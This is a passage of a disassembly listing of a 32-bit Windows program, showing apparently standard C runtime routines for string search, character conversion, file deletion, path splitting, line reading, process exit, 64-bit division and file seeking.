		mov	al, [esp+arg_4]


loc_415A96:				; CODE XREF: sub_4150B0+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_415ABD


loc_415AA8:				; CODE XREF: sub_415A90+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_415A80
		test	cl, cl
		jz	short loc_415B06
		test	edx, 3
		jnz	short loc_415AA8


loc_415ABD:				; CODE XREF: sub_415A90+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_415AC8:				; CODE XREF: sub_415A90+63j
					; sub_415A90+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_415B0A
		and	eax, 81010100h
		jz	short loc_415AC8
		and	eax, 1010100h
		jnz	short loc_415B04
		and	esi, 80000000h
		jnz	short loc_415AC8


loc_415B04:				; CODE XREF: sub_415A90+6Aj
					; sub_415A90+83j ...
		pop	esi
		pop	edi


loc_415B06:				; CODE XREF: sub_415A90+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415B0A:				; CODE XREF: sub_415A90+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_415B47
		test	al, al
		jz	short loc_415B04
		cmp	ah, bl
		jz	short loc_415B40
		test	ah, ah
		jz	short loc_415B04
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_415B39
		test	al, al
		jz	short loc_415B04
		cmp	ah, bl
		jz	short loc_415B32
		test	ah, ah
		jz	short loc_415B04
		jmp	short loc_415AC8
; ---------------------------------------------------------------------------


loc_415B32:				; CODE XREF: sub_415A90+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415B39:				; CODE XREF: sub_415A90+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415B40:				; CODE XREF: sub_415A90+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415B47:				; CODE XREF: sub_415A90+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_415A90	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B4E	proc near		; CODE XREF: sub_4076EC+55p
					; sub_40FF1B+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_415B52:				; CODE XREF: sub_415B4E+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_415B52
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_415B4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B64	proc near		; CODE XREF: sub_415C5A+22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_415C2B
		mov	ebx, [ebp+arg_C]
		cmp	ebx, esi
		jz	loc_415C55
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], esi
		jnz	short loc_415BB6
		cmp	ebx, esi
		jbe	loc_415C55


loc_415B95:				; CODE XREF: sub_415B64+4Bj
		mov	ecx, [ebp+arg_8]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_415C55
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, ebx
		jb	short loc_415B95
		jmp	loc_415C55
; ---------------------------------------------------------------------------


loc_415BB6:				; CODE XREF: sub_415B64+27j
		mov	esi, ds:dword_4200D4
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_415C54
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_415BEE


loc_415BDE:				; CODE XREF: sub_415B64+C5j
					; sub_415B64+EEj
		call	sub_419600
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415BEE:				; CODE XREF: sub_415B64+78j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	eax, ebx


loc_415BF6:				; CODE XREF: sub_415B64+AEj
		mov	cl, [eax]
		dec	[ebp+var_4]
		test	cl, cl
		jz	short loc_415C14
		mov	edx, [edi+48h]
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_415C0D
		inc	eax


loc_415C0D:				; CODE XREF: sub_415B64+A6j
		inc	eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415BF6


loc_415C14:				; CODE XREF: sub_415B64+99j
		push	[ebp+arg_C]
		sub	eax, ebx
		push	[ebp+arg_4]
		push	eax
		push	ebx
		push	1
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_415C55
		jmp	short loc_415BDE
; ---------------------------------------------------------------------------


loc_415C2B:				; CODE XREF: sub_415B64+10j
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_415C3E
		push	[ebp+arg_8]
		call	sub_4179C0
		pop	ecx
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C3E:				; CODE XREF: sub_415B64+CDj
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_8]
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_4200D4	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_415BDE


loc_415C54:				; CODE XREF: sub_415B64+69j
		dec	eax


loc_415C55:				; CODE XREF: sub_415B64+1Bj
					; sub_415B64+2Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415B64	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C5A	proc near		; CODE XREF: sub_4076EC+19p
					; sub_4076EC+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_415C6F
		call	sub_417C4E


loc_415C6F:				; CODE XREF: sub_415C5A+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_415B64
		add	esp, 10h
		retn
sub_415C5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C85	proc near		; CODE XREF: sub_408A18+51DEp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4200E4	; DeleteFileA
		test	eax, eax
		jnz	short loc_415C9B
		call	ds:dword_420008	; RtlGetLastWin32Error
		jmp	short loc_415C9D
; ---------------------------------------------------------------------------


loc_415C9B:				; CODE XREF: sub_415C85+Cj
		xor	eax, eax


loc_415C9D:				; CODE XREF: sub_415C85+14j
		test	eax, eax
		jz	short loc_415CAC
		push	eax
		call	sub_419612
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_415CAC:				; CODE XREF: sub_415C85+1Aj
		xor	eax, eax
		retn
sub_415C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CAF	proc near		; CODE XREF: sub_408A18+5148p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	14h
		push	offset stru_428DA8
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		push	esi
		call	sub_417FF8
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41AB2C
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_416662
		mov	[ebp+var_24], eax
		push	esi
		push	[ebp+var_20]
		call	sub_41ABB4
		add	esp, 18h
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_415D03
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_415CAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D03	proc near		; CODE XREF: sub_415CAF+46p
					; DATA XREF: .rdata:stru_428DA8o
		push	dword ptr [ebp-1Ch]
		call	sub_41804A
		pop	ecx
		retn
sub_415D03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D0D	proc near		; CODE XREF: sub_408A18+4352p
					; sub_40E745+F6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4179C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_415D49
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_415D49
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_415D45
		push	2
		push	ebx
		push	esi
		call	sub_41B13B
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_415D45:				; CODE XREF: sub_415D0D+26j
		inc	ebx
		inc	ebx
		jmp	short loc_415D53
; ---------------------------------------------------------------------------


loc_415D49:				; CODE XREF: sub_415D0D+19j
					; sub_415D0D+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_415D53
		and	byte ptr [eax],	0


loc_415D53:				; CODE XREF: sub_415D0D+3Aj
					; sub_415D0D+41j
		and	[ebp+arg_0], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	[ebp+var_8], eax
		mov	esi, 0FFh
		jz	short loc_415DCB


loc_415D66:				; CODE XREF: sub_415D0D+88j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_47C741[edx], 4
		jz	short loc_415D77
		inc	eax
		jmp	short loc_415D91
; ---------------------------------------------------------------------------


loc_415D77:				; CODE XREF: sub_415D0D+65j
		cmp	cl, 2Fh
		jz	short loc_415D8B
		cmp	cl, 5Ch
		jz	short loc_415D8B
		cmp	cl, 2Eh
		jnz	short loc_415D91
		mov	[ebp+var_4], eax
		jmp	short loc_415D91
; ---------------------------------------------------------------------------


loc_415D8B:				; CODE XREF: sub_415D0D+6Dj
					; sub_415D0D+72j
		lea	ecx, [eax+1]
		mov	[ebp+arg_0], ecx


loc_415D91:				; CODE XREF: sub_415D0D+68j
					; sub_415D0D+77j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_415D66
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_415DCB
		cmp	[ebp+arg_8], 0
		jz	short loc_415DC6
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_415DAF
		mov	edi, esi


loc_415DAF:				; CODE XREF: sub_415D0D+9Ej
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41B13B
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_415DC6:				; CODE XREF: sub_415D0D+98j
		mov	ebx, [ebp+arg_0]
		jmp	short loc_415DD5
; ---------------------------------------------------------------------------


loc_415DCB:				; CODE XREF: sub_415D0D+57j
					; sub_415D0D+92j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_415DD5
		and	byte ptr [ecx],	0


loc_415DD5:				; CODE XREF: sub_415D0D+BCj
					; sub_415D0D+C3j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_415E28
		cmp	edi, ebx
		jb	short loc_415E28
		cmp	[ebp+arg_C], 0
		jz	short loc_415E05
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_415DEE
		mov	edi, esi


loc_415DEE:				; CODE XREF: sub_415D0D+DDj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41B13B
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_415E05:				; CODE XREF: sub_415D0D+D7j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_415E50
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_415E15
		mov	esi, eax


loc_415E15:				; CODE XREF: sub_415D0D+104j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41B13B
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_415E50
; ---------------------------------------------------------------------------


loc_415E28:				; CODE XREF: sub_415D0D+CDj
					; sub_415D0D+D1j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_415E46
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_415E37
		mov	esi, eax


loc_415E37:				; CODE XREF: sub_415D0D+126j
		push	esi
		push	ebx
		push	edi
		call	sub_41B13B
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_415E46:				; CODE XREF: sub_415D0D+120j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_415E50
		and	byte ptr [eax],	0


loc_415E50:				; CODE XREF: sub_415D0D+FDj
					; sub_415D0D+119j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E55	proc near		; CODE XREF: sub_408A18+37D3p
					; sub_408A18+3800p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	18h
		push	offset stru_428DB8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	edi, ebx
		mov	[ebp+var_1C], ebx
		cmp	[ebp+arg_4], 0
		jg	short loc_415E73
		xor	eax, eax
		jmp	short loc_415ECA
; ---------------------------------------------------------------------------


loc_415E73:				; CODE XREF: sub_415E55+18j
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_20], esi
		push	esi
		call	sub_417FF8
		pop	ecx
		and	[ebp+ms_exc.disabled], 0


loc_415E84:				; CODE XREF: sub_415E55+64j
		dec	[ebp+arg_4]
		jz	short loc_415EBB
		dec	dword ptr [esi+4]
		js	short loc_415E98
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_415E9F
; ---------------------------------------------------------------------------


loc_415E98:				; CODE XREF: sub_415E55+37j
		push	esi
		call	sub_418DD9
		pop	ecx


loc_415E9F:				; CODE XREF: sub_415E55+41j
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415EB1
		cmp	edi, ebx
		jnz	short loc_415EBB
		and	[ebp+var_1C], 0
		jmp	short loc_415EBE
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E55+50j
		mov	[edi], al
		inc	edi
		mov	[ebp+var_28], edi
		cmp	al, 0Ah
		jnz	short loc_415E84


loc_415EBB:				; CODE XREF: sub_415E55+32j
					; sub_415E55+54j
		and	byte ptr [edi],	0


loc_415EBE:				; CODE XREF: sub_415E55+5Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_415ED3
		mov	eax, [ebp+var_1C]


loc_415ECA:				; CODE XREF: sub_415E55+1Cj
		call	__SEH_epilog
		retn
sub_415E55	endp


; =============== S U B	R O U T	I N E =======================================



sub_415ED0	proc near		; DATA XREF: .rdata:stru_428DB8o
		mov	esi, [ebp-20h]
sub_415ED0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415ED3	proc near		; CODE XREF: sub_415E55+6Dp
		push	esi
		call	sub_41804A
		pop	ecx
		retn
sub_415ED3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EE0	proc near		; CODE XREF: sub_408A18+8D4p
					; sub_411FA9+285p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_415F12
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_415F10
		jz	short loc_415F12
		sub	ecx, 2


loc_415F10:				; CODE XREF: sub_415EE0+29j
		not	ecx


loc_415F12:				; CODE XREF: sub_415EE0+9j
					; sub_415EE0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_415EE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F19	proc near		; CODE XREF: sub_415FC0+CBp
					; sub_4162C5+1Cp

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_4200A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_415F3E
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:dword_420084	; GetProcAddress
		test	eax, eax
		jz	short loc_415F3E
		push	[esp+arg_0]
		call	eax ; dword_42B030


loc_415F3E:				; CODE XREF: sub_415F19+Dj
					; sub_415F19+1Dj
		push	[esp+arg_0]
		call	ds:dword_420034	; ExitProcess
		int	3		; Trap to Debugger


loc_415F49:				; CODE XREF: sub_41B276+Cp
		push	8
		call	sub_418285
		pop	ecx
		retn
sub_415F19	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F52	proc near		; CODE XREF: sub_41B2A8p
		push	8
		call	sub_4181F1
		pop	ecx
		retn
sub_415F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F5B	proc near		; CODE XREF: .text:loc_416425p
		mov	eax, off_42D798
		test	eax, eax
		jz	short loc_415F66
		call	eax ; sub_414EFD


loc_415F66:				; CODE XREF: sub_415F5B+7j
		push	esi
		push	edi
		mov	ecx, offset dword_42B00C
		mov	edi, offset dword_42B020
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_415F91


loc_415F7A:				; CODE XREF: sub_415F5B+30j
		test	eax, eax
		jnz	short loc_415FBD
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_415F86
		call	ecx


loc_415F86:				; CODE XREF: sub_415F5B+27j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_415F7A
		test	eax, eax
		jnz	short loc_415FBD


loc_415F91:				; CODE XREF: sub_415F5B+1Dj
		push	offset sub_41B304
		call	sub_41B2AE
		mov	esi, offset dword_42B000
		mov	eax, esi
		mov	edi, offset dword_42B008
		cmp	eax, edi
		pop	ecx
		jnb	short loc_415FBB


loc_415FAC:				; CODE XREF: sub_415F5B+5Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415FB4
		call	eax


loc_415FB4:				; CODE XREF: sub_415F5B+55j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_415FAC


loc_415FBB:				; CODE XREF: sub_415F5B+4Fj
		xor	eax, eax


loc_415FBD:				; CODE XREF: sub_415F5B+21j
					; sub_415F5B+34j
		pop	edi
		pop	esi
		retn
sub_415F5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FC0	proc near		; CODE XREF: sub_416093+8p
					; sub_4160A4+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	8
		call	sub_418285
		xor	esi, esi
		inc	esi
		cmp	dword_47C1E4, esi
		pop	ecx
		jnz	short loc_415FE8
		push	[ebp+arg_0]
		call	ds:dword_4200E0	; GetCurrentProcess
		push	eax
		call	ds:dword_4200E8	; TerminateProcess


loc_415FE8:				; CODE XREF: sub_415FC0+16j
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_47C1E0, esi
		mov	byte_47C1DC, al
		jnz	short loc_41604E
		mov	ecx, dword_47D9B0
		test	ecx, ecx
		jz	short loc_41602F
		mov	eax, dword_47D9AC
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_416028
; ---------------------------------------------------------------------------


loc_416012:				; CODE XREF: sub_415FC0+6Dj
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41601A
		call	eax


loc_41601A:				; CODE XREF: sub_415FC0+56j
		mov	eax, dword_47D9AC
		sub	eax, 4
		cmp	eax, dword_47D9B0


loc_416028:				; CODE XREF: sub_415FC0+50j
		mov	dword_47D9AC, eax
		jnb	short loc_416012


loc_41602F:				; CODE XREF: sub_415FC0+44j
		mov	eax, offset dword_42B024
		mov	esi, offset dword_42B02C
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41604E


loc_41603F:				; CODE XREF: sub_415FC0+8Cj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_416047
		call	eax


loc_416047:				; CODE XREF: sub_415FC0+83j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_41603F


loc_41604E:				; CODE XREF: sub_415FC0+3Aj
					; sub_415FC0+7Dj
		mov	eax, offset dword_42B030
		mov	esi, offset dword_42B038
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41606D


loc_41605E:				; CODE XREF: sub_415FC0+ABj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_416066
		call	eax


loc_416066:				; CODE XREF: sub_415FC0+A2j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_41605E


loc_41606D:				; CODE XREF: sub_415FC0+9Cj
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41607E
		push	8
		call	sub_4181F1
		jmp	short loc_416090
; ---------------------------------------------------------------------------


loc_41607E:				; CODE XREF: sub_415FC0+B3j
		push	[ebp+arg_0]
		mov	dword_47C1E4, 1
		call	sub_415F19


loc_416090:				; CODE XREF: sub_415FC0+BCj
		pop	ecx
		pop	ebp
		retn
sub_415FC0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416093	proc near		; CODE XREF: .text:00416475p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_415FC0
		add	esp, 0Ch
		retn
sub_416093	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160A4	proc near		; CODE XREF: sub_4162A0+1Cp
					; .text:004164A2p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_415FC0
		add	esp, 0Ch
		retn
sub_4160A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160B5	proc near		; CODE XREF: .text:loc_41647Ap
		push	1
		push	0
		push	0
		call	sub_415FC0
		add	esp, 0Ch
		retn
sub_4160B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160C4	proc near		; CODE XREF: .text:loc_4164A7p
		push	1
		push	1
		push	0
		call	sub_415FC0
		add	esp, 0Ch
		retn
sub_4160C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4160E0	proc near		; CODE XREF: sub_4116A6+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416101
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416151
; ---------------------------------------------------------------------------


loc_416101:				; CODE XREF: sub_4160E0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41610F:				; CODE XREF: sub_4160E0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41610F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41613A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41613A
		jb	short loc_416142
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416142


loc_41613A:				; CODE XREF: sub_4160E0+4Aj
					; sub_4160E0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416142:				; CODE XREF: sub_4160E0+52j
					; sub_4160E0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416151:				; CODE XREF: sub_4160E0+1Fj
		pop	ebx
		retn	10h
sub_4160E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416160	proc near		; CODE XREF: sub_4116A6+24p
					; sub_415420+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416182
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4161C3
; ---------------------------------------------------------------------------


loc_416182:				; CODE XREF: sub_416160+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416190:				; CODE XREF: sub_416160+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416190
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4161BE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4161BE
		jb	short loc_4161BF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4161BF


loc_4161BE:				; CODE XREF: sub_416160+4Ej
					; sub_416160+54j
		dec	esi


loc_4161BF:				; CODE XREF: sub_416160+56j
					; sub_416160+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4161C3:				; CODE XREF: sub_416160+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416160	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161C8	proc near		; CODE XREF: sub_416257+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		push	edi
		jz	short loc_416246
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_4161E7
		cmp	edi, 1
		jz	short loc_4161E7
		cmp	edi, 2
		jnz	short loc_416246


loc_4161E7:				; CODE XREF: sub_4161C8+13j
					; sub_4161C8+18j
		and	eax, 0FFFFFFEFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_4161FF
		push	esi
		call	sub_41B467
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_4161FF:				; CODE XREF: sub_4161C8+28j
		push	esi
		call	sub_417DD2
		mov	eax, [esi+0Ch]
		test	al, al
		pop	ecx
		jns	short loc_416215
		and	eax, 0FFFFFFFCh
		mov	[esi+0Ch], eax
		jmp	short loc_416229
; ---------------------------------------------------------------------------


loc_416215:				; CODE XREF: sub_4161C8+43j
		test	al, 1
		jz	short loc_416229
		test	al, 8
		jz	short loc_416229
		test	ah, 4
		jnz	short loc_416229
		mov	dword ptr [esi+18h], 200h


loc_416229:				; CODE XREF: sub_4161C8+4Bj
					; sub_4161C8+4Fj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41B3BC
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416254
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: sub_4161C8+Bj
					; sub_4161C8+1Dj
		call	sub_419600
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_416254:				; CODE XREF: sub_4161C8+7Cj
		pop	edi
		pop	esi
		retn
sub_4161C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416257	proc near		; CODE XREF: sub_411FA9+2C6p
					; sub_411FA9+402p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
